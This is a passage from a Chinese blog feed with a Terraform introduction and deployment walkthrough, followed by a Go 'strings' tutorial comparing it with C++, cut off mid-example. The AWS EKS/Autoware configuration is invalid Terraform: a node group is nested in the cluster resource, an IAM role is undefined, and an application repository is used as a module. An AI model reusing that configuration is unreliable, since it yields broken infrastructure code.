id="7-Variables"><a href="#7-Variables" class="headerlink" title="7. Variables"></a>7. <strong>Variables</strong></h4><p>Variables(变量)是 Terraform 配置中的动态元素。通过使用变量,你可以让配置更加灵活和可配置,避免硬编码。Terraform 支持输入变量和输出变量:</p><ul><li><p><strong>输入变量</strong>:用于在执行 <code>terraform plan</code> 或 <code>terraform apply</code> 时动态传递值,允许你根据不同的环境或需求修改资源配置。</p></li><li><p><strong>输出变量</strong>:用于从 Terraform 配置中导出值,这些值可以用于其他模块或命令行输出,帮助你更好地理解 Terraform 执行的结果。</p></li></ul><h4 id="8-Terraform-Configuration-Files"><a href="#8-Terraform-Configuration-Files" class="headerlink" title="8. Terraform Configuration Files"></a>8. <strong>Terraform Configuration Files</strong></h4><p>Terraform 配置文件是用 HCL(HashiCorp Configuration Language)编写的,通常以 <code>.tf</code> 后缀命名。这些配置文件定义了 Terraform 管理的所有资源、提供者、变量等内容。一个典型的 Terraform 配置文件包括:</p><ul><li><strong>Provider 配置</strong>:定义使用的云服务提供商。</li><li><strong>Resource 定义</strong>:定义资源类型和配置属性。</li><li><strong>Variable 声明</strong>:定义可在配置中使用的变量。</li><li><strong>Output 定义</strong>:定义从配置中导出的值。</li></ul><h4 id="9-Terraform-CLI"><a href="#9-Terraform-CLI" class="headerlink" title="9. Terraform CLI"></a>9. <strong>Terraform CLI</strong></h4><p>Terraform 提供了一个功能强大的命令行接口(CLI),用于管理和执行 Terraform 配置。常用命令包括:</p><ul><li><code>terraform init</code>:初始化 Terraform 工作目录,下载所需的 Providers 插件。</li><li><code>terraform plan</code>:生成并显示将要对基础设施执行的更改计划。</li><li><code>terraform apply</code>:应用配置文件中的更改到实际基础设施。</li><li><code>terraform destroy</code>:销毁配置中定义的所有资源。</li><li><code>terraform validate</code>:验证 Terraform 配置文件的语法和逻辑是否正确。</li></ul><h3 id="二、部署(Deploy)"><a href="#二、部署(Deploy)" class="headerlink" title="二、部署(Deploy)"></a>二、部署(Deploy)</h3><p>以下是使用 Terraform 部署基础设施的步骤:</p><ol><li>审查(Scope)- 确定项目所需的基础设施。这一步涉及明确你需要管理的基础设施组件,确定项目中的哪些资源需要被创建、修改或删除。</li></ol><blockquote><p>这里需要注意,如果没有明确提供程序版本的范围(scope provider version),Terraform 将下载满足版本约束的<code>最新提供程序版本</code>。这可能会导致意外的基础设施更改。通过仔细指定范围明确的提供程序版本并使用依赖项锁定文件,可以确保 Terraform 使用正确的提供程序版本,从而使项目的配置保持一致。</p></blockquote><ol start="2"><li><p>编写(Author) - 为基础设施编写配置文件。在这一步,使用 HCL 语言编写 Terraform 配置文件,定义<code>基础设施资源</code>、<code>提供者</code>、<code>变量</code>等内容。</p></li><li><p>初始化(Initialize) - 安装 Terraform 管理基础设施所需的插件。使用 terraform init 命令初始化 Terraform 工作目录,并下载所需的 Providers 插件。</p></li><li><p>规划(Plan) - 预览 Terraform 将根据配置进行的更改。通过 terraform plan 命令生成变更计划,查看 Terraform 将如何调整基础设施以匹配配置文件中的描述。</p></li><li><p>应用(Apply) - 执行规划的更改。使用 terraform apply 命令实际应用配置中的更改,使基础设施达到配置文件中的期望状态。</p></li></ol><h3 id="三、结语"><a href="#三、结语" class="headerlink" title="三、结语"></a>三、结语</h3><p>Terraform 通过提供强大的 IaC 功能,极大地简化了基础设施管理和部署。理解和掌握 Terraform 是云行业从业者(DevOps)必不可少的,后面我们会展开介绍。</p><h3 id="四、附录"><a href="#四、附录" class="headerlink" title="四、附录"></a>四、附录</h3><h4 id="示例-1-官方教材"><a href="#示例-1-官方教材" class="headerlink" title="示例 1 官方教材"></a>示例 1 官方教材</h4><p>官方教材实践 <a href="https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli">https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli</a></p><p>1.安装并查看 terraform 版本</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">terraform --<span class="hljs-built_in">help</span><br></code></pre></td></tr></table></figure><p>2.编写 nginx docker 配置文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><code class="hljs hcl">terraform {<br> required_providers {<br> docker = {<br> source = "kreuzwerker/docker"<br> version = "~> 3.0.1"<br> }<br> }<br>}<br><br>provider "docker" {}<br><br>resource "docker_image" "nginx" {<br> name = "nginx"<br> keep_locally = false<br>}<br><br>resource "docker_container" "nginx" {<br> image = docker_image.nginx.image_id<br> name = "tutorial" <br> <br> ports {<br> internal = 80<br> external = 8081<br> }<br>}<br></code></pre></td></tr></table></figure><p>3.terraform 部署步骤</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">terraform init <span class="hljs-comment"># 初始化</span><br>terraform plan <span class="hljs-comment"># 检查变化修改</span><br>terraform apply <span class="hljs-comment"># 部署应用</span><br></code></pre></td></tr></table></figure><p>4.验证部署结果</p><p> <img src="https://imgos.cn/2024/08/09/66b4ec4418c8e.png" alt="docker 客户端控制面板"></p><p> <img src="https://imgos.cn/2024/08/08/66b4eb72b241b.png" alt="打开网站实际效果"></p><p>5.其他</p><p>在 local 进行部署测试中,可以发现 <code>terraform apply</code> 后,自动化生成了 <code>terraform.tfstate</code>,它是 Terraform 用于管理和存储状态的文件,记录了 Terraform 管理的基础设施的当前状态。</p><p> <img src="https://imgos.cn/2024/08/09/66b4f10a4dd7e.png" alt="terraform.tfstate"></p><h4 id="示例-2-复合配置"><a href="#示例-2-复合配置" class="headerlink" title="示例 2 复合配置"></a>示例 2 复合配置</h4><p>下面一个例子定义一个 aws 使用云环境 —— Autoware是一个基于ROS的开源软件项目,专为自动驾驶车辆设计,涵盖了感知、定位、规划、控制等所有功能模块,并支持多种车辆类型和应用场景(感兴趣的朋友可以阅读我之前写的一篇文章 —— <a href="http://www.zhililab.cn/2024/08/07/AutoWare-Intro/">AutoWare 初探</a>)。这里为了配置文件将自动部署一个集成了高性能计算和存储资源的Kubernetes集群,并支持Autoware的核心模块。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><code class="hljs hcl">provider "aws" {<br> region = "us-west-2"<br>}<br><br>resource "aws_vpc" "autoware_vpc" {<br> cidr_block = "10.0.0.0/16"<br>}<br><br>resource "aws_subnet" "autoware_subnet" {<br> vpc_id = aws_vpc.autoware_vpc.id<br> cidr_block = "10.0.1.0/24"<br>}<br><br>resource "aws_eks_cluster" "autoware_cluster" {<br> name = "autoware-cluster"<br> role_arn = aws_iam_role.eks_role.arn<br><br> vpc_config {<br> subnet_ids = [aws_subnet.autoware_subnet.id]<br> }<br><br> # 设置Kubernetes版本和节点组<br> version = "1.23"<br> node_group {<br> instance_type = "m5.large"<br> desired_size = 3<br> }<br>}<br><br>resource "aws_efs_file_system" "autoware_storage" {<br> encrypted = true<br>}<br><br>resource "aws_efs_mount_target" "autoware_efs_mount" {<br> file_system_id = aws_efs_file_system.autoware_storage.id<br> subnet_id = aws_subnet.autoware_subnet.id<br>}<br><br># Autoware核心模块的配置<br>module "autoware_core" {<br> source = "git::https://github.com/autowarefoundation/autoware"<br> <br> eks_cluster_name = aws_eks_cluster.autoware_cluster.name<br> efs_file_system_id = aws_efs_file_system.autoware_storage.id<br>}<br><br># 输出集群信息<br>output "cluster_endpoint" {<br> value = aws_eks_cluster.autoware_cluster.endpoint<br>}<br><br>output "efs_dns_name" {<br> value = aws_efs_file_system.autoware_storage.dns_name<br>}<br></code></pre></td></tr></table></figure><blockquote><p>Kubernetes 从 V1.24.x 开始,把 containerd 作为了主要的容器运行方式,不再使用 Docker</p></blockquote><p>这个配置文件包括了以下关键组件:</p><ol><li><strong>VPC和子网</strong>:为Autoware项目定义了网络环境。</li><li><strong>EKS集群</strong>:创建一个用于部署Autoware模块的Kubernetes集群。</li><li><strong>EFS存储</strong>:为高效处理自动驾驶数据提供弹性文件存储。</li><li><strong>Autoware核心模块</strong>:通过模块化的方式部署Autoware核心软件包。</li></ol><p>这将提供一个完整的基础设施环境,支持Autoware的部署和扩展,后续我们就可以根据项目需求进一步调整配置文件。</p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Terraform</tag>
<tag>IaC</tag>
<tag>DevOps</tag>
</tags>
</entry>
<entry>
<title>Go 语言学习 —— strings 细说</title>
<link href="/2024/08/07/Learning-Golang-001/"/>
<url>/2024/08/07/Learning-Golang-001/</url>
<content type="html"><![CDATA[<h2 id="Go-语言-strings-包与-C-、Python-字符串处理对比"><a href="#Go-语言-strings-包与-C-、Python-字符串处理对比" class="headerlink" title="Go 语言 strings 包与 C++、Python 字符串处理对比"></a>Go 语言 <code>strings</code> 包与 C++、Python 字符串处理对比</h2><p>在现代编程中,字符串处理是一个基础而重要的任务。不同编程语言提供了各自的字符串处理函数和方法,今天我们将详细介绍 Go 语言的 <code>strings</code> 包,并对比 C++ 和 Python 中的字符串处理方法。通过这篇文章,你将能够更好地理解这些语言在字符串处理上的异同,从而选择最适合你项目需求的工具。</p><h3 id="Go-语言的-strings-包"><a href="#Go-语言的-strings-包" class="headerlink" title="Go 语言的 strings 包"></a>Go 语言的 <code>strings</code> 包</h3><p>Go 语言的 <code>strings</code> 包提供了丰富的字符串操作函数,这些函数设计简单明了,非常适合进行常见的字符串处理任务。以下是 Go 语言 <code>strings</code> 包中的一些常用函数及其说明:</p><ol><li><p><strong><code>strings.Contains(s, substr string) bool</code></strong></p><p>检查字符串 <code>s</code> 是否包含子字符串 <code>substr</code>。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"strings"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> s := <span class="hljs-string">"hello world"</span><br> substr := <span class="hljs-string">"world"</span><br> fmt.Println(strings.Contains(s, substr)) <span class="hljs-comment">// 输出: true</span><br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>strings.HasPrefix(s, prefix string) bool</code></strong></p><p>检查字符串 <code>s</code> 是否以 <code>prefix</code> 开头。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"strings"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> s := <span class="hljs-string">"hello world"</span><br> prefix := <span class="hljs-string">"hello"</span><br> fmt.Println(strings.HasPrefix(s, prefix)) <span class="hljs-comment">// 输出: true</span><br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>strings.HasSuffix(s, suffix string) bool</code></strong></p><p>检查字符串 <code>s</code> 是否以 <code>suffix</code> 结尾。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"strings"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> s := <span class="hljs-string">"hello world"</span><br> suffix := <span class="hljs-string">"world"</span><br> fmt.Println(strings.HasSuffix(s, suffix)) <span class="hljs-comment">// 输出: true</span><br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>strings.Index(s, substr string) int</code></strong></p><p>返回子字符串 <code>substr</code> 在字符串 <code>s</code> 中第一次出现的位置。如果未找到,则返回 <code>-1</code>。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"strings"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> s := <span class="hljs-string">"hello world"</span><br> substr := <span class="hljs-string">"world"</span><br> fmt.Println(strings.Index(s, substr)) <span class="hljs-comment">// 输出: 6</span><br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>strings.LastIndex(s, substr string) int</code></strong></p><p>返回子字符串 <code>substr</code> 在字符串 <code>s</code> 中最后一次出现的位置。如果未找到,则返回 <code>-1</code>。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"strings"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> s := <span class="hljs-string">"hello world world"</span><br> substr := <span class="hljs-string">"world"</span><br> fmt.Println(strings.LastIndex(s, substr)) <span class="hljs-comment">// 输出: 12</span><br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>strings.Split(s, sep string) []string</code></strong></p><p>按照分隔符 <code>sep</code> 拆分字符串 <code>s</code>,返回一个字符串切片。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"strings"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> s := <span class="hljs-string">"a,b,c"</span><br> sep := <span class="hljs-string">","</span><br> result := strings.Split(s, sep)<br> fmt.Println(result) <span class="hljs-comment">// 输出: [a b c]</span><br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>strings.Join(a []string, sep string) string</code></strong></p><p>将字符串切片 <code>a</code> 用分隔符 <code>sep</code> 连接成一个字符串。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"strings"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> a := []<span class="hljs-type">string</span>{<span class="hljs-string">"a"</span>, <span class="hljs-string">"b"</span>, <span class="hljs-string">"c"</span>}<br> sep := <span class="hljs-string">","</span><br> result := strings.Join(a, sep)<br> fmt.Println(result) <span class="hljs-comment">// 输出: a,b,c</span><br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>strings.ToLower(s string) string</code></strong></p><p>将字符串 <code>s</code> 转换为小写字母。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"strings"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> s := <span class="hljs-string">"Hello World"</span><br> result := strings.ToLower(s)<br> fmt.Println(result) <span class="hljs-comment">// 输出: hello world</span><br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>strings.ToUpper(s string) string</code></strong></p><p>将字符串 <code>s</code> 转换为大写字母。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"strings"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> s := <span class="hljs-string">"Hello World"</span><br> result := strings.ToUpper(s)<br> fmt.Println(result) <span class="hljs-comment">// 输出: HELLO WORLD</span><br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>strings.Trim(s, cutset string) string</code></strong></p><p>移除字符串 <code>s</code> 两端的所有字符,如果这些字符出现在 <code>cutset</code> 中。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"strings"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> s := <span class="hljs-string">"!!!hello!!!"</span><br> cutset := <span class="hljs-string">"!"</span><br> result := strings.Trim(s, cutset)<br> fmt.Println(result) <span class="hljs-comment">// 输出: hello</span><br>}<br></code></pre></td></tr></table></figure></li></ol><h3 id="C-的字符串处理函数"><a href="#C-的字符串处理函数" class="headerlink" title="C++ 的字符串处理函数"></a>C++ 的字符串处理函数</h3><p>C++ 中的字符串处理主要通过 <code>std::string</code> 类提供。<code>std::string</code> 提供了许多成员函数来操作和处理字符串:</p><ol><li><p><strong><code>std::string::find(const std::string& substr) const</code></strong></p><p>查找子字符串 <code>substr</code> 在当前字符串中的第一次出现位置。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><iostream></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string></span></span><br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br> std::string s = <span class="hljs-string">"hello world"</span>;<br> std::string substr = <span class="hljs-string">"world"</span>;<br> std::cout << s.<span class="hljs-built_in">find</span>(substr) << std::endl; <span class="hljs-comment">// 输出: 6</span><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>std::string::rfind(const std::string& substr) const</code></strong></p><p>查找子字符串 <code>substr</code> 在当前字符串中的最后一次出现位置。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><iostream></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string></span></span><br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br> std::string s = <span class="hljs-string">"hello world world"</span>;<br> std::string substr = <span class="hljs-string">"world"</span>;<br> std::cout << s.<span class="hljs-built_in">rfind</span>(substr) << std::endl; <span class="hljs-comment">// 输出: 12</span><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>std::string::substr(size_t pos = 0, size_t len = npos) const</code></strong></p><p>提取子字符串,从位置 <code>pos</code> 开始,长度为 <code>len</code>。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><iostream></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string></span></span><br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br> std::string s = <span class="hljs-string">"hello world"</span>;<br> std::cout << s.<span class="hljs-built_in">substr</span>(<span class="hljs-number">6</span>, <span class="hljs-number">5</span>) << std::endl; <span class="hljs-comment">// 输出: world</span><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>std::string::find_first_of(const std::string& chars) const</code></strong></p><p>查找在 <code>chars</code> 中的任意字符在当前字符串中的第一次出现位置。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><iostream></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string></span></span><br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br> std::string s = <span class="hljs-string">"hello world"</span>;<br> std::string chars = <span class="hljs-string">"o"</span>;<br> std::cout << s.<span class="hljs-built_in">find_first_of</span>(chars) << std::endl; <span class="hljs-comment">// 输出: 4</span><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>std::string::find_last_of(const std::string& chars) const</code></strong></p><p>查找在 <code>chars</code> 中的任意字符在当前字符串中的最后一次出现位置。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><iostream></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string></span></span><br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br> std::string s = <span class="hljs-string">"hello world"</span>;<br> std::string chars = <span class="hljs-string">"o"</span>;<br> std::cout << s.<span class="hljs-built_in">find_last_of</span>(chars) << std::endl; <span class="hljs-comment">// 输出: 7</span><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>std::transform(begin, end, begin, [](unsigned char c){ return std::tolower(c); })</code></strong></p><p>将字符串转换为小写字母。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><iostream></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><algorithm></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><cctype></span></span><br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br> std::string s = <span class="hljs-string">"Hello World"</span>;<br> std::<span class="hljs-built_in">transform</span>(s.<span class="hljs-built_in">begin</span>(), s.<span class="hljs-built_in">end</span>(), s.<span class="hljs-built_in">begin</span>(), [](<span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> c) { <span class="hljs-keyword">return</span> std::<span class="hljs-built_in">tolower</span>(c); });<br> std::cout << s << std::endl; <span class="hljs-comment">// 输出: hello world</span><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure></li><li><p><strong><code>std::transform(begin, end, begin, [](unsigned char c){ return std::toupper(c); })</code></strong></p><p>将字符串转换为大写字母。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><iostream></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><algorithm></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><cctype></span></span><br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br> std::string s = <span class="hljs-string">"Hello World"</span>;<br> std::<span class="hljs-built_in">transform</span>(s.<span class="hljs-built_in">begin</span>(), s.<span 